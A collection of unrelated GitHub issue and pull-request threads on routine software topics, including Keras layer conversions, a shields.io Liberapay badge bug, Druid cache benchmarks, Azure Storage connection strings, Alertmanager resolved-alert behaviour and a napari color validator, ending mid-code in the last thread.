I think the above solution will be specific to input elements.
I think, the better solution is to change box-sizing: inherit; to box-sizing: border-box;
Like this:
*, *:before, *:after {
  box-sizing: border-box;;
}

I would like to make this change.


Api conversions/zeropadding cropping

Great job, thanks! Are there any remaining layers that we are missing?

@fchollet There are still a few stragglers. I messed around for awhile with trying to get ZeroPadding1D to work with a conversion interface because there is only one case in which it will cause an error when the mapping argument is a dictionary. I could not find any way to get it to pass through the legacy conversion function since the argument names are all the same.
Other than that, there are a few layers left in core.py: all 3 SpatialDropout layers and Lambda. I'm thinking I can get through those tonight.
The Merge layer does not look like anyone has created a conversion yet and will probably be a bit more messy since it looks a bit different in Keras 2 from what I can tell.

The legacy Merge layer is supported simply by having it live in legacy/layers.py.

SpatialDropout

There was only the rate argument IIRC. Since it inherits from dropout we may not have to do anything --but let's add a test.

It failed a test when I checked, so added the conversion functions in and works now. I'll submit the pull request shortly.


Fix two bugs

Fix to find correct misc directory and meshcat_example. Now, run the example by
git clone --recurse-submodules https://github.com/GiulioRomualdi/meshcat-cpp.git
cd meshcat-cpp
mkdir build && cd build
cmake ..
make -j
./example

Hello @matheecs ! I think it is useful to separate the two fixes: the second one (add array include) is indeed a fix.
The first one is a bit tricky. Basically, at the moment meshcat-cpp is meant to be used when installed, and only linking the installed library. It is not meant to work by linking the library in the build directory. This is because some resources are found by looking at the appropriate relative location w.r.t. the location of the library, via reloc-cpp. Your change make the library work when it is used from the build directory, but it breaks the use of the library when installed, so it is not desirable. Two possible fixes are either:

Option 1: Copy the files that are installed in <install_prefix>/share/meshcat-cpp/misc also in <build_directory>/share/meshcat-cpp/misc. In this way, also the build library will work fine, as it will look in ../share/meshcat-cpp/misc and find the required file. This is relativly simple, as it probably can be done by adding a few configure_file in the CMake script
Option 2: Avoid to try to locate external files, and instead embed required files inside the library itself, using a resource manager such as cmrc. This option has the advantage that it would work fine also for static libraries.


Liberapay Badge shows "invalid response data"

Are you experiencing an issue with...

[x] shields.io
[ ] My own instance
[ ] badge-maker NPM package

:beetle: Description
My Liberapay badges don't work and just show "invalid response data", though the data is accessible at https://liberapay.com/frsc/public.json. Badges of other users seem to work fine.
:link: Link to the badge

https://img.shields.io/liberapay/gives/frsc.svg?logo=liberapay

Thanks for reaching out. Our schema validation (used to process the response) is expecting the goal key to always exist, even if it has a null value. For some reason, the response for your entity does not have the goal key at all, which is causing the response validation to fail.
If the absence of the goal key is an expected/valid scenario, then we'd need to update our schema accordingly
https://github.com/badges/shields/blob/2359eb278beb4612ea8e579b062648463dc79813/services/liberapay/liberapay-base.js#L9-L31

Looking at the liberapay source/tests, it is expected that in some situations public.json will not include a "goal" key e.g:
https://github.com/liberapay/liberapay.com/blob/ca814ed2478108b119fef4498a8ee521a5553914/tests/py/test_public_json.py#L38-L41
We should split the schema for liberapay so that only the goal badge fails if there's no goal key - badges that don't need it shouldn't fail if it is not there.

I suggest simply removing the .required() call in the schema. The goal badge should then error with the message "no public goals" when the goal is missing.

Thanks for fixing, works as expected!


docs(cb-dynamic-component-loading): add dynamic component loading coo…

This is a WIP

@wardbell Dynamic Component Loader cookbook ready for review.
The idea behind this cookbook is a dynamic ad banner where ads are loaded dynamically on an interval. Every 3 seconds a new component is loaded in the banner using DCL.
@jelbourn Including you as well in case you are interested in looking at it.

Original Gist from @jelbourn https://gist.github.com/jelbourn/73418ff650b7b7bfae35ad1d4e191741


Resolves #4728

Resolves #4728
Description

Prevent deletion of items that are part of a request

Type of change

Bug fix

How Has This Been Tested?

Add model tests to ensure items cannot be deleted if they are part of a request

All good - just waiting for tests to run.


Generate wasm and contract file for Substrate and other fixes

Fixes #443
I think @athei asked for this feature too

Thanks!


Hello

Description
I tried to make a new broadcast which includes the aggregate signature and public keys
Related issue(s)
If this Pull Request is related to an issue, mention it here.

Fixes #547

@RiXelanya
please follow the PR title rules. read more:
Contributing guidelines

@RiXelanya
From your PR, I can see that you got a little bit confused. I believe the main reason for this confusion is the need to maintain backward compatibility. It's okay, no problem. I'll try to explain it a little more here.
sayHelloLagacy method
I suggest renaming the sayHello function to sayHelloLegacy and keeping it as it is. Please make sure to apply this change to the tests as well, so that they remain functional.
The sayHelloLegacy method helps us maintain backward compatibility, but we don't need to keep it forever. In a future release, once we confirm that the majority of the nodes are supporting the new format, we can safely delete it.
Adding comments to the code would be a good idea to provide clarity and context.
sayHello method
Now we can implement sayHello, In this method first we can get the list of all public keys from the sync.signers and at the same time we calculate the aggregated signature.
Probably should be something like this:
pubs := []*bls.PublicKey{}
sigs := []*bls.Signature{}

for _, signer := range sync.signers {
	signer.SignMsg(msg)
	pubs = append(pubkeys, msg.PublicKey)
	sigs = append(signs, msg.Signature)
}
aggSig := bls.SignatureAggregate(signs)

Now, we have the aggregated signature (only one signature) and list of all public keys.
Let's create another hello message and broadcast it.
msg.Signature = aggSig
msg.PublicKeys = pubs
msg.PublicKey = nil

Signature Verification
Now, let's move to the verification part. It is done inside the SanityCheck function.
Here, we need to support both Legacy and new format.
How to figure out? It is easy. If PulicKey set, it is legacy version, it PubliKeys set it is new version.
So we will have something like:
func (m *HelloMessage) SanityCheck() error {
	if m.Signature == nil {
		return errors.Error(errors.ErrInvalidSignature)
	}
	if m.PublicKey == nil &&  m.PublicKeys == nil {
		return errors.Error(errors.ErrInvalidPublicKey)
	}
	if m.PublicKey != nil {
             /// Legacy version
             return m.PublicKey.Verify(m.SignBytes(), m.Signature)
	} else {
	/// 1- Calculate the Aggregated Public key
	/// 2- Verify the signature
        }
}

Understood. I will start fixing it now. apologies for the late response. I was busy yesterday

Fixed at #640


Fix container source.

There are some issues remaining in the source. Need to get the CI working.
Proposed Changes

Release Note

Working now. Kubebuilder does not get you setup out of the box for clientset generation.
/assign @grantr

Strange that register.go doesn't work out of the box!

It only does not because we create the pkg/client folder with the ./hack/update-codegen.sh


[ 8.1.a ] As a user, I want login with email and password, to allow users personal authentication.

Acceptance criteria:

[x] Add identity to our solution
[x] Make identity work with our solution so users can register and login
[x] Create two users as specified in the description.
[x] #147

Description:
Section 23.4 in the book explains how to add identity to existing Razor page.
References:

lecture notes
ASP.CORE Indentity documentation

The test acceptance criteria has been moved to a separate issue


Support renaming of outputName for cached select and search query results

As I know, Druid is designed able to use cached query result with different outputName.
For example,
query result cached with DefaultDimentionSpec{dimension=a, outputName=out1} is reused to respond to the query with DefaultDimentionSpec{dimension=a, outputName=out2} when the other part of query spec is identical. OutputName is renamed according to new DimensionSpec.
Currently, however, it does not work for select and search queries.
It returns previous outputName stored in cached result.
This patch enables renaming of outputName in cached result for select and search queries.

I missed that there may exists extensions that implements CacheStrategy.
I think it's better to rollback the interface change and make another issue to discuss about changing the interface.
In my thought, current CacheStrategy interface lacks consistency between methods.
computeCacheKey() explicitly requires query while prepareForCache(), for example, in GroupByQueryQueryToolChest assumes the existence of the associated query.

👍

@sirpkt overall patch seems fine, just to make sure It does introduce any performance regression, can you run the Select & Search query benchmarks with and without the patch.

@nishantmonu51 Followings are benchmark results. It seems that there is no performance regression.

BEFORE

Select
Benchmark                                 (numSegments)  (pagingThreshold)  (rowsPerSegment)  (schemaAndQuery)  Mode  Cnt      Score     Error  Units
SelectBenchmark.queryIncrementalIndex                 1               1000             25000           basic.A  avgt   25  62073.262 ± 836.200  us/op
SelectBenchmark.queryMultiQueryableIndex              1               1000             25000           basic.A  avgt   25  81691.067 ± 612.118  us/op
SelectBenchmark.queryQueryableIndex                   1               1000             25000           basic.A  avgt   25  85700.874 ± 810.986  us/op

Search
Benchmark                                    (limit)  (numSegments)  (rowsPerSegment)  (schemaAndQuery)  Mode  Cnt       Score      Error  Units
SearchBenchmark.queryMultiQueryableIndex        1000              1            750000           basic.A  avgt   25   17097.681 ±  117.532  us/op
SearchBenchmark.querySingleIncrementalIndex     1000              1            750000           basic.A  avgt   25  240696.621 ± 3445.769  us/op
SearchBenchmark.querySingleQueryableIndex       1000              1            750000           basic.A  avgt   25   13826.073 ±   91.694  us/op

AFTER

Select
Benchmark                                 (numSegments)  (pagingThreshold)  (rowsPerSegment)  (schemaAndQuery)  Mode  Cnt      Score     Error  Units
SelectBenchmark.queryIncrementalIndex                 1               1000             25000           basic.A  avgt   25  61891.196 ± 772.819  us/op
SelectBenchmark.queryMultiQueryableIndex              1               1000             25000           basic.A  avgt   25  84078.383 ± 773.971  us/op
SelectBenchmark.queryQueryableIndex                   1               1000             25000           basic.A  avgt   25  82541.870 ± 833.016  us/op

Search
Benchmark                                    (limit)  (numSegments)  (rowsPerSegment)  (schemaAndQuery)  Mode  Cnt       Score      Error  Units
SearchBenchmark.queryMultiQueryableIndex        1000              1            750000           basic.A  avgt   25   16255.744 ±  654.036  us/op
SearchBenchmark.querySingleIncrementalIndex     1000              1            750000           basic.A  avgt   25  243714.859 ± 2345.534  us/op
SearchBenchmark.querySingleQueryableIndex       1000              1            750000           basic.A  avgt   25   15828.362 ±  603.148  us/op

thanks @sirpkt, results seem good. 👍, this looks good to be merged after @gianm comments are addressed.

👍  LGTM, thanks @sirpkt


TreeItem: Replace the Linked-list with a Vector

This PR replaces the linked list in TreeItem with a Vector.
This has the benefit, that some methods are more readable than before.

Please compare the performance difference, the readability is important but we can't sacrifice performance over readability
I'm pretty sure list was chosen specifically for performance, otherwise it wouldn't have been chosen IMO as it's a class avoided generally

No worries, it's a learning experience!
You're welcome to discuss these ideas in the developer chat if you're still interested in the change


Add support for general Azure Storage connection string.

Makes AzureStorageResource implement IResourceWithConnectionString that generates a "general" connection string for Azure Storage that are required by some APIs.
Resolves #1727

NOTE: There's an outstanding question related to how the resource should behave when storage is not emulated.

Microsoft Reviewers: Open in CodeFlow

We'll need to coordinate this change with AZD. If we do this, when someone does this:
var builder = DistributedApplication.CreateBuilder(args);
var storage = builder.AddAzureStorage("storage");
var app = builder.AddProject<Projects.MyApp>("myapp");
                 .WithReference(storage);

The manifest for the Aspire manifest writing logic is going to have to emit something that AZD can fill in that gives the storage a connection string. But is there a token credential friendly version of the unified connection string?

Marking for preview 4 because of the interdependencies with AZD here. /cc @ellismg for his thoughts.

But is there a token credential friendly version of the unified connection string?

I'm not sure that there is and I'm also not sure what Track 2 Azure SDK library would consume it, /cc @tg-msft who might have some ideas.  My general understanding of the storage SDKs is there's no "account level" SDK that we would pass the unified connection string to - and when you are on the token credential plan you use URIs to reference the resources (and these URIs contain service specific information, e.g. the endpoint for a queue has a different URI (host and path!) as a blob).
azd could certainly say that when you do a .WithReference() on the storage account resource, we generate one of these unified connection strings that has password information in it.  If we did that, we'd also want to store this value in KeyVault and reference it instead of directly injecting the value into the env block of the container app you reference from.  We could continue to use the TokenCredential versions when you reference sub resources like Queue or Table or Blob.
Something for us to note, @mitchdenny and @davidfowl as we try to design a strategy for generating these azure components automatically - we knew we would need a way for azd to ask "what is your connection string" but it seems we also need a way to ask: "does this connection string contain passwords and should be stored and referenced from keyvault" - for things which use TokenCredential the answer is no - but for these classic storage account connection strings the answer needs to be yes, so azd can understand it needs to store them in KeyVault.

Heh, I didn't realize just how far behind these storage dependencies were. I'd rather not Aspire/AZD bend over backward unnecessarily to support them even if I, in this particular case, have no ability to pull them forward.  The workaround isn't awful and I don't particularly care about deployment in this scenario.
(I wonder how many other customers might be in the same boat, though.)

But is there a token credential friendly version of the unified connection string?

I'm not sure that there is and I'm also not sure what Track 2 Azure SDK library would consume it, /cc @tg-msft who might have some ideas. My general understanding of the storage SDKs is there's no "account level" SDK that we would pass the unified connection string to - and when you are on the token credential plan you use URIs to reference the resources (and these URIs contain service specific information, e.g. the endpoint for a queue has a different URI (host and path!) as a blob).

Correct - there's no managed identity support in Storage's connection strings.  They only support Shared Key and SAS credentials.  This was previously discussed and ultimately rejected in https://github.com/Azure/azure-sdk/issues/3288.  You can pass account level connection strings to individual service clients though.  It's what the Portal usually gives you by default for simplicity.

we knew we would need a way for azd to ask "what is your connection string" but it seems we also need a way to ask: "does this connection string contain passwords and should be stored and referenced from keyvault"

When we add deployment templates as a standard CDK pattern, we'll be able to declare whether any parameters or outputs are meant to be secure for azd to KVify.  Even then I wonder if we want to just make it easy for users to control that themselves (i.e., add our own WithReference for Azure resources that allows you to optionally provide a reference to the KV instance in case you want to heavily customize some aspect of it).

Closing in favor of using a project-specific workaround, given the use of outdated dependencies.


Update modules2.rs

Your wish seems to have been granted:)
The compiler now says:
error[E0603]: constant democrat is private

Cool, thanks! Sorry it took me so long to merge this!!!


Download Access Denied

I am trying to download all the halos in the MilkyWay suite, but I am facing this error for most of them. I was able to download most of them before, but I had deleted them and, for some reason, cannot download them again:
`
Access denied with the following error:
    Cannot retrieve the public link of the file. You may need to change
    the permission to 'Anyone with the link', or have had many accesses.

You may still be able to access the file from the browser:
     https://drive.google.com/uc?id=1FLiC0L1TSnoMSpVhVOLsraqkuhREpTEv

`
What can I do to get around this error?

Ah, sorry about this. (And sorry about the late reply.) This is the result of Google secretly capping downloads to a single Drive account and then giving an incorrect error message. We're moving off Google Drive because of this. (Today, actually! In the process of making the branch now.)


Add new contributor/user 0032

Description of the issue
Add myself as a contributor.
Not sure, if this will work as I didn't get an invitation as implied by the line
"⚠: You have to accept the invitation first! Otherwise the next steps will partially not work."
in the wiki.
I will try anyway
Ideas of solution
If you already have ideas for the solution describe them here
Workflow checklist

[x] I am aware of the workflow for this repository

Nope, doesn't work. I don't have write access yet.

I replied to your E-Mail that you specified in the OEP contact form. Please let me know which teams you feel most comfortable joining.


Patients contacted cleanup

I rule and have completed some work on Case Manager that's ready for review!
Picks up the work of @DarthHater and @agkramer in #865 and #715!
This pull request makes the following changes:

adds a stub report for patients contacted and first contacted in a week

It relates to the following issue #s:

Fixes #712

Codecov Report

Merging #872 into master will increase coverage by 0.01%.
The diff coverage is 100%.

@@            Coverage Diff            @@
##           master    #872      +/-   ##
=========================================
+ Coverage   98.48%   98.5%   +0.01%
=========================================
  Files          35      35
  Lines         727     735       +8
=========================================
+ Hits          716     724       +8
  Misses         11      11

Impacted Files
Coverage Δ

app/models/patient.rb
96.59% <100%> (+0.19%)
:white_check_mark:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 480f321...4fc2dde. Read the comment docs.

CI failing for bs reasons. Merging. Thanks all!


Review preview

Spike a branch with a route that shows what a review would look like if it was added to data. Allow the ReviewId to be passed in the URL in spite of security concerns.
The goal is to give a group a way to get instant feedback about a review they posted e.g. on Hypothesis. The page shows what the full text of the review will look like on Sciety once it is picked up as linked to an article, which currently happens 24 hours later and long past the moment in which an eLife editorial team member would go back to adjust the Markdown content for correct semantics and presentation.
Examples

Hypothesis review from eLife: http://localhost:8080/articles/activity/10.1101/2<IP_ADDRESS>557 vs. http://localhost:8080/review-preview/hypothesis:Ux-9HiKsEeupnoeV51-iYQ
More from eLife: http://localhost:8080/articles/activity/10.1101/2<IP_ADDRESS>6690 vs. http://localhost:8080/review-preview/hypothesis:iNBB6lmdEeuWZJsjdPllfg
PREreview DOI review: http://localhost:8080/articles/activity/10.1101/862755 vs. http://localhost:8080/review-preview/doi:10.5281/zenodo.3702901 (looks bad either way, but consistently)

Easy things to reuse:

codec for ReviewId
RenderPageError and Page types
standard Params and Ports currying on a Page
render-review-feed-item

Difficult things to reuse:

ReviewFeedItem View Model generation

Note: the Response to reviewer 3 and Reviewer 3 on http://localhost:8080/articles/activity/10.1101/2<IP_ADDRESS>784 have the same permalink. They correspond to threaded Hypothesis annotations.


Exchange rate cloud function

Description
Moved the exchange rate querying from the notification service to a scheduled Cloud Function.
See https://www.notion.so/clabsco/Notification-Service-Indexer-064ca4f58be64c3384ac8fb5f00fca56 for more information on the motivation for doing this.
Other changes
N/A
Tested
Deployed in Alfajores, checked that the exchange rates are still written every 30 minutes.
How others should test
Make sure that the exchange rate graph on Valora reflects the right information.
Related issues

Fixes #420

Backwards compatibility
N/A

In the long run we'd want to even remove this exchange rate write task and update the consumers so they query this directly from blockscout.

That's a possibility. If we want more independence from blockscout there's a TODO in the code that says to use some MedianUpdated events emitted by the exchange contract, we can consider using that too.
For now though I just wanted to move this out of the notification-service :)

Hey @gnardini @MuckT I have verified this issue using both Mainnet build V1.15.0  & Alfajores Build V1.14.3(62) for iOS and V1.14.1 for Android & observed following:
Observations:

For Mainnet:
[x] User is able to see same exchange rate in  two different account addresses. Attachment
For Alfajores:
[ ] User not able to see same exchange rate for two different account addresses. Both rates are different.Attachment

FYI: We have tested above two scenario for different users/account addresses
Can you please help us for how we check that the this Valora exchange rate is showing right information?
Is anything (website or link) where we can compare rate & make sure that it is showing right information or not ?
Verified On Devices: Redmi Note 8 (9.0), iPhone SE (14.2)
Thanks..!!

https://valora.testquality.com requirement R25. Do not remove or edit.


RHEL 7. Metadata not working correctly.

Fix for this is in /etc/nova/nova.conf, which incorrectly included the line
service_metadata_proxy = True

This caused the nova-api service to expect an X-Instance-ID header on the HTTP requests reaching it, and to complain - with a 400 Bad Request response - if that X-Instance-ID header was not present.  (400 Bad Request matches what the Ubuntu boot logs say.)
When service_metadata_proxy is left at its default (false), nova-api does not expect an X-Instance-ID, and the instance sending the metadata request is instead identified by its source IP address.
Unfortunately this does not explain Matt's observation above of meta-data working for a CirrOS VM after sufficient time had passed.  However I'm happy to leave that, as I'm not seeing any CirrOS metadata problem myself now.
Fix to the Red Hat install instructions is here: https://github.com/Metaswitch/calico-docs/wiki/Red-Hat-Packaged-Install/_compare/f7121f4faf154a56ea0fba6dfc38b95c45504e1f...eedd50c65fe58e8054ef35c04f09530c1e2b05da

@matthewdupre Please could you review my change to the Red Hat install instructions: https://github.com/Metaswitch/calico-docs/wiki/Red-Hat-Packaged-Install/_compare/f7121f4faf154a56ea0fba6dfc38b95c45504e1f...eedd50c65fe58e8054ef35c04f09530c1e2b05da

Other related points that we should perhaps review at this point:

How is service_metadata_proxy set in our Chef/Ubuntu-based clusters?

How is service_metadata_proxy set in our Fuel/Ubuntu-based clusters?

Should we cover correct setting of service_metadata_proxy in the Calico Configuration page?

We currently still ship Felix with a default MetadataPort of 9697.  Should we now change that to 8775?

Chef has service_neutron_metadata_proxy=True, which is probably an error.

Change to Calico Configuration page is here: https://github.com/Metaswitch/calico-docs/wiki/Calico-Configuration/_compare/68be967f2b8dafe5134672121fcc398f4f23cdcb...cfdd4e2d73933bb9b4ff8cbb375e391f1dd418db


Search results change when selection is modified using multiple tab key or arrow presses

Microsoft PowerToys version
0.72.0
Installation method
PowerToys auto-update
Running as admin
No
Area(s) with issue?
PowerToys Run
Steps to reproduce
I have my search results limited to 5. I search for "users" and end up with 5 hits. I tap the tab key repeatedly to get down to the 4th result. As each entry is selected I can see the text in the search box update (which I believe it should not be!). Eventually something causes the system to re-execute the search but this time for whatever is now in the text box. This ends up reducing the result set and potentially hiding the result I was looking for.
✔ Expected Behavior

Whatever I type should stay in the search box even after I cycle through the entries with tab key or down arrow.
Search should not execute again as I tab through entries.
Results should not disappear as I tab through them.

❌ Actual Behavior

Search box text is overwritten with text of the entry upon selection
Search is executed on its own while tabbing through the results which modifies the result set.

Other Software
https://github.com/microsoft/PowerToys/assets/10751350/d1279d3a-903e-4cdb-ad65-0b35bcf2a1cc

/dup #18693


Remove "experimental" from Scatter List

The Scatter List as been added for over a year. I think it's time to graduate it from an experimental feature and make it an official fully launched feature.

I certainly agree ScatterPlotList is no longer "experimental" - thanks for this PR!


Adds expiry time to authToken header sent in connectToGaiaHub call

Use the following template to create your pull request
Description
With the current state of code it feels like the token returned by makeV1GaiaAuthToken has the possibility of reuse and thus hides the optional functionality of expiry of token which can be set as specified by Gaia.
If the payload has the optional exp params while creating the token using makeV1GaiaAuthToken then gaia's validate token function can correctly identify if token is expired/reuse is possible.
By this change no current applications will be impacted but as a Blockstack developer who wish to create token with higher security bar(by specifying its expiry) can do so, thus preventing any misuse of token via replay attacks. This functionality is particularly useful for creating apps which requires privateKeyHolders approval for each gaia upload call.
For details refer to issue #123
Type of Change

[x] New feature
[ ] Bug fix
[ ] API reference/documentation update
[ ] Other

Does this introduce a breaking change?
n/a
Are documentation updates required?
Yes
Testing information
Provide context on how tests should be performed.
This can be tested for making a gaia upload call with token which is already expired (i.e call connectToGaiaHub with negative tokenValidityBufferTime) and it should return 401 with response similar to
{
    "message": "Expired authentication token: expire time of xxxxxxx (secs since epoch)",
    "error": "ValidationError"
}

Also testing that connectToGaiaHub call without tokenValidityBufferTime remains as it is.
Checklist

[x] Code is commented where needed
[x] Unit test coverage for new or modified code paths
[x] npm run test passes
[ ] Changelog is updated
[x] Tag 1 of @yknl or @zone117x for review

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

See also https://github.com/blockstack/docs.blockstack/issues/151 (and maybe https://github.com/blockstack/blockstack.js/issues/607)

closing this for now. please re-open if you think this requires attention. if you re-open, please also suggest who could help resolve and carry it to the finish line 🙏🏼

closing this for now. please re-open if you think this requires attention. if you re-open, please also suggest who could help resolve and carry it to the finish line 🙏🏼


one alert firing,but over two resloved message received

What did you do?
i am using Alertmanager HA in my cluster, sometimes,when a large number of warnings in one group are triggered, i usually receive two resloved message but only one alert. of course，the second resloved message often appears in the second group interval which also has similar alert message.
What did you expect to see?
one alert has only one resloved message, if one group has alert message again, shouldn't have resloved message which has  been sent.
What did you see instead? Under which circumstances?
in one group ,when have alert message again , the resloved message which has  been sent also send again
Environment
two  Alertmanager   HA

Alertmanager version:
Alertmanager: v0.20.0

Prometheus version:
2.14

Alertmanager configuration file:

route:
      group_by: ['alertname']
      group_wait: 60s
      group_interval: 5m
      repeat_interval: 3h

args:
        - "--config.file=/etc/alertmanager/alertmanager.yml"
        - "--storage.path=/data"
        - "--web.listen-address=:9095"
        - "--cluster.listen-address=<IP_ADDRESS>:8003"
        - "--cluster.peer=<IP_ADDRESS>:8003"
        - "--cluster.peer-timeout=30s"
        - "--cluster.gossip-interval=50ms"
        - "--cluster.pushpull-interval=2s"
        - "--log.level=debug"

Prometheus configuration file:

scrape_interval: 30s
  scrape_timeout: 10s
  evaluation_interval: 15s

Logs:

level=debug ts=2019-12-31T06:10:54.577Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:10:54 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24116\n"
level=debug ts=2019-12-31T06:10:54.577Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:10:54 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:10:56.578Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:10:56 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:10:56.578Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:10:56 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24126\n"
level=debug ts=2019-12-31T06:10:58.579Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:10:58 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:10:58.579Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:10:58 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24146\n"
level=debug ts=2019-12-31T06:11:00.580Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:00 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24154\n"
level=debug ts=2019-12-31T06:11:00.580Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:00 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:02.582Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:02 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:02.582Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:02 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24166\n"
level=debug ts=2019-12-31T06:11:04.583Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:04 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:04.584Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:04 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24178\n"
level=debug ts=2019-12-31T06:11:06.585Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:06 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24188\n"
level=debug ts=2019-12-31T06:11:06.585Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:06 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:08.586Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:08 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:08.586Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:08 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24204\n"
level=debug ts=2019-12-31T06:11:08.613Z caller=dispatch.go:135 component=dispatcher msg="Received alert" alert=qos-deployment-erro[36baa7e][active]
level=debug ts=2019-12-31T06:11:10.587Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:10 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:10.588Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:10 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24212\n"
level=debug ts=2019-12-31T06:11:12.207Z caller=dispatch.go:135 component=dispatcher msg="Received alert" alert=node-notready[10a8ef6][active]
level=debug ts=2019-12-31T06:11:12.588Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:12 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:12.589Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:12 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24224\n"
level=debug ts=2019-12-31T06:11:14.589Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:14 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:14.590Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:14 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24248\n"
level=debug ts=2019-12-31T06:11:16.591Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:16 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"
level=debug ts=2019-12-31T06:11:16.591Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:16 [DEBUG] memberlist: Stream connection from=<IP_ADDRESS>:24252\n"
level=debug ts=2019-12-31T06:11:18.592Z caller=cluster.go:306 component=cluster memberlist="2019/12/31 06:11:18 [DEBUG] memberlist: Initiating push/pull sync with: <IP_ADDRESS>:8003\n"

looking forward to your reply

I have always noticed this and never considered it a bug. I even find it practical.

I have always noticed this and never considered it a bug. I even find it practical.

thanks for your reply, when a large number of alerts were triggered，alert email bombingare. are there some measures to reduce this situation?
we have another question when above problem appears，we often receive  some resloved message that no alert corresponds to it

I suppose this issue is connected with resending alerts from prometheus. It's about 15 minutes interval when prometheus resends alerts (even resolved) to alertmanager every minute by default. I'm not splitting alerts by groups and sometimes already resolved alert comes one more time with alerts that has been resolved after such alert.

Sorry but it isn't very clear from the screenshot what is happening here. It would be easier to share Alertmanager's logs in debug mode.

Alertmanager's config:
route:
group_wait: 30s
group_interval: 1m
repeat_interval: 30m
receiver: alertmanager-bot
receivers:

name: alertmanager-bot
webhook_configs:

send_resolved: true
url: 'http://alertmanager-bot:8070/api/alerts'

Alertmanager's logs:

What I see in my custom webhook receiver:

Maybe I misunderstood something but I expect only one message "High CPU load on localNode"

Ok I understand now. What happens is that the Lost connection with localNode alert has been firing and resolved between 11:22 and 11:23. Though it was never notified as firing, the resolved alert is indeed included in the last notification. As @roidelapluie noted, it sounds useful and I'd be inclined to leave this behavior as-is.

I totally agree with you about behaviour connected with Lost connection with localNode alert, but I don't think there should be High CPU load on localNode resolved alert because it has been already sent and there was no High CPU load on localNode firing between 11:21 and 11:23

特殊情况

有些resolved alert没有对应的firing alert

firing alert发送给alertmanager时其所在的group恰好处在睡眠状态下
而其对应的resolved消息也在同一睡眠周期内被发送给alertmanager
接收到resolved消息后，group将其对应的firing消息覆盖，因此在唤醒时就只接收到了resolved消息


Make custom pydantic color validator

🧰 Task
Following discussion in https://github.com/napari/napari/pull/3879#issuecomment-1000922569 we should make a custom color pydantic type with its own validator based on
https://github.com/napari/napari/blob/43aa65bcde1ef36493ba51499edca4fad8d7fafe/napari/components/text_overlay.py#L37-L39
and then reuse it in all places where we currently have
https://github.com/napari/napari/blob/43aa65bcde1ef36493ba51499edca4fad8d7fafe/napari/components/text_overlay.py#L32
or https://github.com/napari/napari/blob/9152dbd7c328b12a9c3b19c9629f58906650465c/napari/layers/surface/wireframe.py#L24
This will mean we no longer need to use the union of types, but always have one nice type

Great idea!

I was planning to do something like this in the style encoding work.
class ColorValue(np.ndarray):
    """A 4x1 array that represents one RGBA color value."""

    @classmethod
    def __get_validators__(cls):
        yield cls.validate_type

    @classmethod
    def validate_type(cls, val):
        return transform_color(val)[0]

class ColorArray(np.ndarray):
    """An Nx4 array where each row of N represents one RGBA color value."""

    @classmethod
    def __get_validators__(cls):
        yield cls.validate_type

    @classmethod
    def validate_type(cls, val):
